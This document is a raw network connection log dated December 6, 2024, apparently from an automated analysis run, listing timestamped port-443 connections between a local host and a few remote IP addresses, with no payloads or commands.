Dec 6, 2024 00:17:20.937216043 CET	443	50173	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:20.937746048 CET	50173	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:20.937776089 CET	443	50173	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:20.938214064 CET	50173	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:20.938219070 CET	443	50173	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.227029085 CET	443	50175	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.227305889 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.227596998 CET	50175	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.227627039 CET	443	50175	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.227643013 CET	50174	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.227663994 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.228081942 CET	50174	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.228087902 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.228137016 CET	50175	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.228142023 CET	443	50175	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.229537964 CET	443	50176	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.229840994 CET	50176	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.229856014 CET	443	50176	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.230171919 CET	50176	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.230176926 CET	443	50176	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.376034975 CET	443	50173	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.378134966 CET	443	50173	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.378213882 CET	50173	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.378320932 CET	50173	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.378339052 CET	443	50173	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.378349066 CET	50173	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.378355026 CET	443	50173	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.380973101 CET	50178	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.381006002 CET	443	50178	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.381103992 CET	50178	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.381256104 CET	50178	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.381270885 CET	443	50178	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.521903038 CET	443	50177	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.522396088 CET	50177	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.522416115 CET	443	50177	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.522831917 CET	50177	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.522835970 CET	443	50177	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.665633917 CET	443	50175	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.665644884 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.665668011 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.665716887 CET	50174	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.665739059 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.665752888 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.665797949 CET	50174	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.665949106 CET	50174	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.665961981 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.665971041 CET	50174	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.665977001 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.666469097 CET	443	50176	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.666486025 CET	443	50176	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.666532040 CET	443	50176	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.666555882 CET	50176	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.666584015 CET	50176	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.666750908 CET	50176	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.666768074 CET	443	50176	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.666776896 CET	50176	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.666783094 CET	443	50176	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.668602943 CET	50179	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.668632030 CET	443	50179	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.668689966 CET	443	50175	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.668694019 CET	50180	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.668721914 CET	50179	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.668735027 CET	443	50180	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.668756008 CET	50175	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.668785095 CET	50180	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.668895960 CET	50179	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.668895960 CET	50175	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.668908119 CET	443	50179	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.668912888 CET	443	50175	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.668924093 CET	50175	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.668929100 CET	443	50175	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.669090033 CET	50180	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.669106960 CET	443	50180	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.670617104 CET	50181	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.670646906 CET	443	50181	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.671211958 CET	50181	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.671346903 CET	50181	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.671358109 CET	443	50181	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.955760956 CET	443	50177	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.955784082 CET	443	50177	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.955833912 CET	50177	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.955852032 CET	443	50177	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.956083059 CET	50177	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.956083059 CET	50177	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.956099987 CET	443	50177	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.956218958 CET	443	50177	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.956245899 CET	443	50177	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.956342936 CET	50177	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.958735943 CET	50182	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.958772898 CET	443	50182	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:21.959151030 CET	50182	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.959296942 CET	50182	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:21.959320068 CET	443	50182	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.100322962 CET	443	50178	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.100891113 CET	50178	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.100910902 CET	443	50178	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.101394892 CET	50178	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.101401091 CET	443	50178	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.392582893 CET	443	50181	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.392791033 CET	443	50180	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.393081903 CET	50181	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.393102884 CET	443	50181	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.393238068 CET	50180	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.393264055 CET	443	50180	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.393518925 CET	50181	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.393522978 CET	443	50181	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.393596888 CET	50180	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.393603086 CET	443	50180	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.394161940 CET	443	50179	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.394484997 CET	50179	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.394501925 CET	443	50179	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.394792080 CET	50179	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.394797087 CET	443	50179	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.637720108 CET	443	50178	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.640841007 CET	443	50178	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.640876055 CET	443	50178	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.640897036 CET	50178	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.640961885 CET	50178	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.640961885 CET	50178	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.640979052 CET	50178	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.640993118 CET	443	50178	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.643874884 CET	50183	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.643904924 CET	443	50183	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.643978119 CET	50183	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.644117117 CET	50183	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.644126892 CET	443	50183	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.683578014 CET	443	50182	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.683958054 CET	50182	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.683975935 CET	443	50182	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.684355021 CET	50182	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.684360027 CET	443	50182	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.921869993 CET	443	50181	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.922116041 CET	443	50181	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.922168016 CET	50181	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.922287941 CET	50181	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.922298908 CET	443	50181	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.922308922 CET	50181	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.922312975 CET	443	50181	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.923007965 CET	443	50179	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.923064947 CET	443	50179	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.923477888 CET	443	50180	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.923532009 CET	50179	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.923552990 CET	50179	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.923562050 CET	443	50179	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.925451040 CET	50184	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.925482988 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.925534964 CET	50184	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.925991058 CET	50185	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.926018000 CET	443	50185	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.926073074 CET	50185	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.926155090 CET	50184	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.926166058 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.926186085 CET	50185	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.926198006 CET	443	50185	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.926718950 CET	443	50180	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.926754951 CET	443	50180	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.926768064 CET	50180	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.926798105 CET	50180	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.926840067 CET	50180	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.926852942 CET	443	50180	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.926861048 CET	50180	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.926865101 CET	443	50180	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.928966999 CET	50186	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.928975105 CET	443	50186	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:23.929023981 CET	50186	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.929117918 CET	50186	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:23.929130077 CET	443	50186	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:24.116807938 CET	443	50182	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:24.120363951 CET	443	50182	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:24.120394945 CET	443	50182	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:24.120409012 CET	50182	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:24.120434046 CET	50182	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:24.120482922 CET	50182	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:24.120496988 CET	443	50182	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:24.120506048 CET	50182	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:24.120511055 CET	443	50182	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:24.123011112 CET	50187	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:24.123035908 CET	443	50187	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:24.123090982 CET	50187	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:24.123229980 CET	50187	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:24.123241901 CET	443	50187	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.354326010 CET	443	50183	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.354784966 CET	50183	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.354805946 CET	443	50183	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.355242968 CET	50183	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.355247974 CET	443	50183	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.641896009 CET	443	50186	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.642589092 CET	50186	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.642606974 CET	443	50186	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.642754078 CET	443	50185	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.643229008 CET	50186	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.643234968 CET	443	50186	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.643759012 CET	50185	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.643776894 CET	443	50185	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.644133091 CET	50185	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.644136906 CET	443	50185	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.644676924 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.645558119 CET	50184	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.645570040 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.645904064 CET	50184	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.645906925 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.782592058 CET	443	50183	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.782710075 CET	443	50183	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.782757998 CET	50183	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.782815933 CET	50183	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.782829046 CET	443	50183	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.782839060 CET	50183	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.782843113 CET	443	50183	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.785736084 CET	50188	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.785769939 CET	443	50188	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.786808014 CET	50188	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.786936045 CET	50188	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.786947012 CET	443	50188	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.832403898 CET	443	50187	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.834047079 CET	50187	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.834064007 CET	443	50187	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:25.834445000 CET	50187	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:25.834449053 CET	443	50187	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.075465918 CET	443	50186	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.076616049 CET	443	50185	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.076693058 CET	443	50185	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.076709986 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.076752901 CET	50185	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.076865911 CET	50185	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.076879978 CET	443	50185	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.076889038 CET	50185	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.076894045 CET	443	50185	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.078691006 CET	443	50186	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.078725100 CET	443	50186	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.078778028 CET	50186	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.078809023 CET	50186	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.079363108 CET	50189	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.079390049 CET	443	50189	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.079412937 CET	50186	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.079425097 CET	443	50186	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.079446077 CET	50189	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.079792976 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.079845905 CET	50184	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.079854012 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.079864025 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.079906940 CET	50184	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.080400944 CET	50189	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.080414057 CET	443	50189	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.080430984 CET	50184	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.080435038 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.080445051 CET	50184	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.080449104 CET	443	50184	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.082374096 CET	50190	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.082401991 CET	443	50190	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.082457066 CET	50190	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.083209991 CET	50191	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.083220005 CET	443	50191	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.083273888 CET	50191	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.083344936 CET	50190	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.083357096 CET	443	50190	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.083837986 CET	50191	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.083847046 CET	443	50191	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.268405914 CET	443	50187	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.271503925 CET	443	50187	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.271564960 CET	50187	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.271617889 CET	50187	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.271630049 CET	443	50187	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.271639109 CET	50187	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.271645069 CET	443	50187	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.274321079 CET	50192	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.274333954 CET	443	50192	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:26.274486065 CET	50192	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.274624109 CET	50192	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:26.274635077 CET	443	50192	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.539870024 CET	443	50188	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.541105032 CET	50188	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.541129112 CET	443	50188	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.541526079 CET	50188	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.541529894 CET	443	50188	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.579108000 CET	50132	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:17:27.587059975 CET	50130	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:17:27.852267981 CET	443	50189	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.852292061 CET	443	50190	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.852782011 CET	50189	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.852808952 CET	443	50189	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.852845907 CET	50190	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.852859974 CET	443	50190	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.853188038 CET	443	50191	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.853249073 CET	50190	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.853255033 CET	443	50190	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.853275061 CET	50189	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.853280067 CET	443	50189	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.853450060 CET	50191	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.853461027 CET	443	50191	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.853744984 CET	50191	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.853749037 CET	443	50191	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.973579884 CET	443	50188	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.974308014 CET	443	50188	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.976377964 CET	50188	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.976455927 CET	50188	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.976469994 CET	443	50188	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.976484060 CET	50188	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.976489067 CET	443	50188	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.979435921 CET	50193	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.979473114 CET	443	50193	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:27.979538918 CET	50193	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.979671955 CET	50193	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:27.979686975 CET	443	50193	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.043260098 CET	443	50192	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.046382904 CET	50192	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.046401978 CET	443	50192	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.046785116 CET	50192	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.046794891 CET	443	50192	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.289045095 CET	443	50189	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.289145947 CET	443	50190	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.289297104 CET	443	50191	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.292316914 CET	443	50190	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.292371035 CET	50190	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.292392015 CET	50190	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.292402029 CET	443	50190	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.292411089 CET	50190	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.292414904 CET	443	50190	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.292448044 CET	443	50189	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.292495012 CET	443	50189	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.292504072 CET	50189	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.292545080 CET	50189	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.292572975 CET	50189	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.292572975 CET	443	50191	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.292587042 CET	443	50189	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.292598963 CET	50189	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.292603016 CET	443	50189	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.292617083 CET	50191	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.293001890 CET	50191	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.293006897 CET	443	50191	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.295810938 CET	50194	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.295850992 CET	443	50194	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.295922995 CET	50194	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.296000957 CET	50195	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.296027899 CET	443	50195	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.296114922 CET	50194	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.296125889 CET	443	50194	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.296145916 CET	50195	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.296225071 CET	50195	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.296236038 CET	443	50195	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.296422958 CET	50196	443	192.168.2.4	13.107.246.63
